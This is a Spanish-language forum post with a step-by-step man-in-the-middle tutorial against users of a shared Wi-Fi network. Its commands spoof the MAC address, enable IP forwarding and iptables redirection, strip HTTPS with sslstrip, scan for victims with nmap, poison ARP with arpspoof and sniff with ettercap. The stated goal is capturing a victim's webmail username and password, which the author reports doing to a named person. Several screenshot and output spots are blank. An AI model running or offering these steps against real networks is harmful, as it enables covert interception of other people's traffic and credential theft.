MITM paso a paso...

Iniciado por aqqle, 17 Abril 2013, 00:20 AM

0 Miembros y 1 Visitante están viendo este tema.

aqqle

. _ ; _ _ . _ ; _ _ . _ ; . _ . . ; .
Muy buenas!
Os traigo el tradicional MITM mostrado paso a paso...
Antes de empezar hablaremos un poco de qué se trata este ataque... El ataque Man In The Middle justifica su propio nombre. Antes de empezar a ver el ataque, vamos a ver de qué se trata este...  ::)
http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle

Os recomiendo leerlo...  ;-)
Os intentaré explicar a grandes rasgos y como buenamente pueda esta práctica. En una conexión "normal" nos encontramos a un usuario conectado a un router navegando felizmente, igual que él todo el resto de usuarios que utilicen el mismo punto de acceso. Para hacernos una idea, esta sería una situación "normal":

INTERNET
|
|
|
|
|
USUARIO <-----------------------------> ROUTER <-----------------------------> USUARIO

En nuestro caso, lo que haremos será conectarnos entre el router y el usuario (víctima), de tal forma que toda conversación entre estos dos pasa por nuestro equipo. En cierto modo nos convertimos en "repetidores" de información:

ROUTER <-----------------------------> ATACANTE <-----------------------------> USUARIO

¿Y para qué?! Pues para filtrar todos los paquetes de información que pasen por la wifi... Esto nos permite entre otras conocer las URL que visite la víctima, usuario en páginas web, password, ver las imágenes que él ve, cambiar conversaciones de msn y un largo etc... suena bien no? ;) Antes de empezar, recordaros que realicé un script para automatizar el proceso:

http://foro.elhacker.net/hacking_avanzado/script_automatizado_para_ataque_mitm-t388207.0.html

Vamos al lío..
Mejor prevenir que curar... Sería conveniente cambiar nuestra MAC por si acaso... Es necesario conocer nuestra interface. Lo haremos con
ifconfig

Lo cual nos arroja:


En mi caso mi interface de wifi es wlan0. Para cambiar la dirección mac podemos hacer un:
sudo macchanger -a wlan0

Este cambiará nuestra dirección mac gracias a la opción -a, wlan0 recuerda que es mi interface. Una vez hecho el cambio de MAC seguimos...
En nuestro bugtraq lo primero será configurar el archivo etter.conf, eliminando las # en iptables (firewall). Al eliminar las # configuramos iptables permitiendonos que ettercap filtre las conexiones SSL (¿os suena https? :D ). Para ello:
sudo leafpad /etc/etter.conf

Buscamos las siguientes lineas:


Y eliminamos las # de tal modo que nos quedará así:

#---------------
#     Linux
#---------------

# if you use ipchains:
  #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
  #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
  redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"


Guardamos y podemos dejarlo abierto, ya que al finalizar es conveniente volverlo a dejar como estaba. Una vez configurado etter.conf vamos a activar la directiva ip_forward que por defecto aparece desactivada con valor 0. Vamos a activarla con:

echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward


A continuación vamos a configurar iptables para que redireccione las conexiones tcp que pasen entre los puertos 80 a 10000:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000


Una vez configurado todo esto, empezamos el ataque. Iniciaremos ssltrip, el cual destripará la seguridad https  ;) . Para ello utilizaremos:

sslstrip -a -k -f


La opción -a de sslstrip nos sirve para crear un log de todo tráfico http, su opción -k mata las posibles sesiones SSL en proceso y finalmente -f fuerza el sistema de seguridad favicon. Al hacer esto nos quedará una ventana como esta:

¡NO CERREIS LA VENTANA!

Abrimos otra terminal y buscaremos alguna víctima. Lo primero ver nuertra dirección ip local. Antes la hemos visto 192.168.1.33. Podemos verla utilizando:
 ifconfig wlan0 | grep inet

Su respuesta:


Vemos nuevamente que la dirección local es 192.168.1.33. Vamos ahora a utilizar nmap para buscar víctimas para nuestro ataque... Indicaremos un rango de IPs a buscar de la siguiente forma 192.168.1.* lo cual nos queda:
nmap -sP 192.168.1.*

Nmap nos contesta:


Con la opción -sP nos muestra los equipos conectados sin ir mas allá en su escaneo. Vemos que estamos nosotros 192.168.1.33, el router 192.168.1.1 y la víctima :P 192.168.1.34. Es momento de iniciar arpspoof, con su opción -i indicamos la interface, en mi caso wlan0, con -t indicamos el objetivo:
sudo arpspoof -i wlan0 -t 192.168.1.34 192.168.1.1

Con esto envenenamos la tabla ARP consiguiendo hacernos pasar por el router (para la víctima) por la víctima (para el router) :D . Su resultado:


Dejemos esta terminal en marcha (si, ya sé que van 2...) y abramos otra. Con esta finalizaremos el ataque. Vamos a utilizar el conocido sniffer ettercap con sus opciones -T la cual nos iniciará ettercap con su interface de texto, -q para que no nos muestre el contenido de los paquetes y -i indica la interface, en este caso wlan0:
sudo ettercap -T -q -i wlan0

Si por lo que sea os aparece un mensaje de error parecido a este:
]SEND L3 ERROR: 10250 byte packet (0800:06) destined to was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Message too long)
Parar firestarter...
Si no os aparece ningún error, tenemos ahora mismo el ataque en marcha.

Aún y así damos un poco el cante, ya que al usuario víctima le aparece el siguiente mensaje:


De todas formas, como el usuario quiere conectarse a su hotmail, fácilmente presionará sobre "Entiendo los riesgos" (Explorer) o "Continuar de todos modos" (en firefox)... A la que el usuario se conecte a su correo hotmail por ejemplo, nos aparecerá lo siguiente:

USER Y PASSWORD!!!
Lo siento nuevamente Sergi...

Si queréis probar, os recomiendo el SCRIPT que colgué en este foro

Todo esto da mucho que pensar... ¿o no?